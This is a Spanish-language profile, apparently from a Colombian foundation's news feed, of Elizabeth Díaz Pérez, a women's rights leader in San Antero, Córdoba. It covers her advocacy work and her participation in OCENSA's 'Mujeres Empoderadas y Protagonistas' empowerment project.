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]]> “Estoy trabajando para romper los estigmas”: Elizabeth Díaz, Lideresa de San Antero. https://www.fodc.org.co/?p=9805 Sat, 04 Nov 2023 19:34:22 +0000 https://www.fodc.org.co/?p=9805 Elizabeth Díaz Pérez es una lideresa de 57 años en San Antero, Córdoba. Es madre de tres hijos, graduada como auxiliar de cocina del SENA y ama de casa. Además, es miembro y administradora de varias organizaciones dedicadas a la defensa de los derechos de las mujeres. A lo largo de su vida, Elizabeth ha
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]]> Elizabeth Díaz Pérez es una lideresa de 57 años en San Antero, Córdoba. Es madre de tres hijos, graduada como auxiliar de cocina del SENA y ama de casa. Además, es miembro y administradora de varias organizaciones dedicadas a la defensa de los derechos de las mujeres.

A lo largo de su vida, Elizabeth ha enfrentado diversos prejuicios por ser mujer. Le han negado trabajos argumentando que son “asuntos de hombres”, y ha tenido que equilibrar su tiempo entre el trabajo y el hogar. Ahora, Elizabeth reconoce el trato diferencial al que ha sido sometida y, por eso, dedica gran parte de su vida a concientizar a otras mujeres sobre las estructuras que las limitan y someten a situaciones de desigualdad y violencia. Su objetivo es empoderarlas para que desafíen esos patrones.

“Quiero que otras mujeres también se empoderen. En San Antero, hay muchas necesidades. Conozco casos de algunas que han sufrido maltrato físico y emocional. Muchas de estas situaciones ocurren debido a la falta de conocimiento. A veces, no estamos al tanto las leyes que nos protegen y por esto, los hombres han prevalecido sobre nuestras vidas.”, expresó Elizabeth.

En el año 2022, Elizabeth y otras 19 mujeres de San Antero y Coveñas, participaron en el proyecto “Mujeres Empoderadas y Protagonistas” de OCENSA. Este proyecto, proporcionó espacios para promover el desarrollo de competencias y habilidades necesarias para el empoderamiento femenino, como conocimientos sobre derechos, leyes, medidas de protección, sanciones y desarrollo integral.

“Hemos crecido en una sociedad que nos ha enseñado a las mujeres que nuestro papel debe limitarse a cuatro paredes. Estoy trabajando para romper estos estigmas. Ha sido gratificante formar parte del proceso de Mujeres Empoderadas, ya que nos motivan en todos los aspectos en los que podemos marcar una diferencia en nuestro municipio. Hoy, nos consideramos grandes líderes y protagonistas.”, agregó Elizabeth en referencia al proyecto.

Quienes conocen a Elizabeth la describen como una mujer comprometida con su comunidad, una soñadora que siempre busca soluciones para cada mujer que se acerca a ella con un problema. Ella proporciona contactos, recomienda estudios o les abre sus ojos a perspectivas que antes no veían.

“Servir a las personas es algo satisfactorio para mí. Ese es mi trabajo.”, afirma con convicción.

En este 2023, la iniciativa “Mujeres Empoderadas y Protagonistas” sigue trabajando para profundizar los conocimientos sobre derechos, liderazgo, tipos de violencia y emprendimiento. El objetivo es visibilizar a las mujeres que han participado en el programa, como Elizabeth, quien reconoce que compartir su historia y la de otras mujeres convertidas en agentes de cambio, inspira a su comunidad a perseguir sus propios objetivos y aspiraciones. Conocer las historias de superación, fortalece su confianza y motivación, y les permite identificar patrones y estigmas que ahora desean cambiar.

“El mensaje que quiero transmitir a estas mujeres es que se empoderen. Existen leyes que nos respaldan y podemos seguir adelante. No debe haber obstáculo que nos detenga. ¡Seremos mujeres victoriosas!” 

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